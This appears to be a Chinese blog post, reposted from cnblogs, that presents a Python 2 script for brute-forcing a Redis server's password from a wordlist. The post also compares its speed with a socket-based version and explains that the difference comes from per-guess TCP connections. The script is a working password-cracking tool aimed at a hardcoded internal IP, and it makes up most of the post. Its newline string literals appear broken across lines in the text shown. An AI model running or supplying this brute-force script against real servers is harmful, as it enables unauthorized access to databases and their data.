redis密码破解(python使用redis模块)

         昨天用socket模块写了个破解redis密码的脚本,今天用Python redis模块在写了个,同一个密码文本,发现redis模块速度明显不如socket模块,代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 18-12-27 下午9:20
# @Site    : 
# @File    : redisCrack_2.py
# @Software: PyCharm
from redis import StrictRedis
from redis.exceptions import  ResponseError
import sys
redisCrackFile="redisPass.txt"
ip="192.168.36.3"
port=6379
with open(redisCrackFile,"r") as f:
    for p in f:
        r=StrictRedis(ip,port,password=p.strip("
"))  #一定要去掉行尾“
”换行符,不然正确密
        try:                                           #码也无法验证通过
            response=r.ping()
            if response == True:
                print "cracked,redis password is: %s" %p
                sys.exit(0)
        except ResponseError,e:
            pass


测试速度如下:

 redis模块慢的原因,在于破解过程中的tcp连接建立和释放的开销,脚本运行过程中,在redis服务端多次用ss  -tunp|grep 6379查看连接情况,发现不同端口过来的tcp连接,说明每次猜测密码的过程中,都会建立一次tcp连接。而socket模块破解过程中密码验证猜测在一个tcp连接中,只需建立一次tcp链路。

原文地址:https://www.cnblogs.com/360linux/p/13062070.html